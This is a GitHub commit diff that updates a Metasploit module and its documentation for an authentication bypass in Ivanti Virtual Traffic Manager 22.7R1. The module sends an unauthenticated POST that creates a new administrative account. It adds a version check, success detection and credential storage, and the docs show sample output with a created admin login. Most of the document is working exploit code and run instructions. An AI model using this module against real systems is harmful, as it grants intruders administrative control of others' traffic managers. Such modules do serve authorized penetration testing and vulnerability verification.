Skip to content

Commit 7bfc386

Browse files
committed
Updated
added error handling, documentation, version check, store_valid_credential
1 parent be62cc9 commit 7bfc386

File tree

2 files changed

+93
-7
lines changed

2 files changed

+93
-7
lines changed
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
## Vulnerable Application
2+
3+
This module exploits an access control issue in Ivanti Virtual Traffic Manager (VTM) 22.7R1, by adding a new
4+
administrative user to the web interface of the application.
5+
6+
The original advisory is available [here](https://packetstormsecurity.com/files/179906).
7+
8+
## Testing
9+
10+
The software can be obtained from [here](https://hubgw.docker.com/r/pulsesecure/vtm).
11+
12+
**Successfully tested on**
13+
14+
- 22.7R1 on Ubuntu 20.04.6 LTS
15+
16+
## Verification Steps
17+
18+
1. Deploy Ivanti Virtual Traffic Manager (VTM)
19+
2. Start `msfconsole`
20+
3. `use auxiliary/admin/http/ivanti_vtm_admin`
21+
4. `set RHOSTS <IP>`
22+
5. `run`
23+
6. A new admin user should have been added to the web interface.
24+
25+
## Options
26+
27+
### NEW_USERNAME
28+
Username to be used when creating a new user with admin privileges.
29+
30+
### NEW_PASSWORD
31+
Password to be used when creating a new user with admin privileges.
32+
33+
## Scenarios
34+
35+
Running the module against Virtual Traffic Manager (VTM) 22.7R1 should result in an output
36+
similar to the following:
37+
38+
```
39+
msf6 > use auxiliary/admin/http/ivanti_vtm_admin
40+
msf6 auxiliary(admin/http/ivanti_vtm_admin) > set RHOSTS 172.17.0.2
41+
msf6 auxiliary(admin/http/ivanti_vtm_admin) > exploit
42+
[*] Running module against 172.17.0.2
43+
44+
[*] Running automatic check ("set AutoCheck false" to disable)
45+
[+] The target appears to be vulnerable. Version: 22.7R1
46+
[+] New admin user was successfully added:
47+
h4x0r:w00Tw00T!
48+
[+] Login at: https://172.17.0.2:9090/apps/zxtm/login.cgi
49+
[*] Auxiliary module execution completed
50+
```

modules/auxiliary/admin/http/ivanti_vtm_admin.rb

Lines changed: 43 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,27 @@
11
class MetasploitModule < Msf::Auxiliary
22
include Msf::Exploit::Remote::HttpClient
3+
prepend Msf::Exploit::Remote::AutoCheck
34

45
def initialize(info = {})
56
super(
67
update_info(
78
info,
89
'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass',
910
'Description' => %q{
10-
This module exploits an access control issue in Ivanti Virtual Traffic Manager <= 22.7R2, by adding a new
11+
This module exploits an access control issue in Ivanti Virtual Traffic Manager 22.7R1, by adding a new
1112
administrative user to the web interface of the application.
1213
},
1314
'Author' => [
1415
'Michael Heinzl', # MSF Module
1516
'ohnoisploited' # Discovery and PoC
1617
],
1718
'References' => [
18-
['URL', 'https://packetstormsecurity.com/files/179906']
19+
['PACKETSTORM', '179906']
1920
],
2021
'DisclosureDate' => '2024-08-05',
2122
'DefaultOptions' => {
22-
'RPORT' => 9090
23+
'RPORT' => 9090,
24+
'SSL' => 'True'
2325
},
2426
'License' => MSF_LICENSE,
2527
'Notes' => {
@@ -37,6 +39,29 @@ def initialize(info = {})
3739
])
3840
end
3941

42+
def check
43+
res = send_request_cgi(
44+
{
45+
'method' => 'GET',
46+
'uri' => normalize_uri(target_uri, 'apps', 'zxtm', 'login.cgi')
47+
}
48+
)
49+
50+
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
51+
52+
body = res.body
53+
version_regex = /StingrayVersion\.Set\(\s*'([^']+)'\s*,/
54+
match = body.match(version_regex)
55+
if match
56+
version = match[1]
57+
return Exploit::CheckCode::Appears("Version: #{version}") if version <= Rex::Version.new('22.7R1')
58+
else
59+
return Exploit::CheckCode::Safe
60+
end
61+
62+
Exploit::CheckCode::Safe
63+
end
64+
4065
def run
4166
res = send_request_cgi(
4267
'method' => 'POST',
@@ -48,16 +73,27 @@ def run
4873
'newusername' => datastore['NEW_USERNAME'],
4974
'password1' => datastore['NEW_PASSWORD'],
5075
'password2' => datastore['NEW_PASSWORD']
51-
5276
}
5377
)
5478

5579
unless res
5680
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
5781
end
5882

59-
print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
60-
print_good("Login at: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}workflow/jsp/logon.jsp")
61-
end
83+
html = res.get_html_document
84+
title_tag = html.at_css('title')
6285

86+
if title_tag
87+
title_text = title_tag.text.strip
88+
if title_text == '2'
89+
store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
90+
print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
91+
print_good("Login at: https://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}apps/zxtm/login.cgi")
92+
else
93+
fail_with(Failure::UnexpectedReply, 'Unexpected string found inside the title tag: ' + title_text)
94+
end
95+
else
96+
fail_with(Failure::UnexpectedReply, 'title tag not found.')
97+
end
98+
end
6399
end

0 commit comments

Comments
 (0)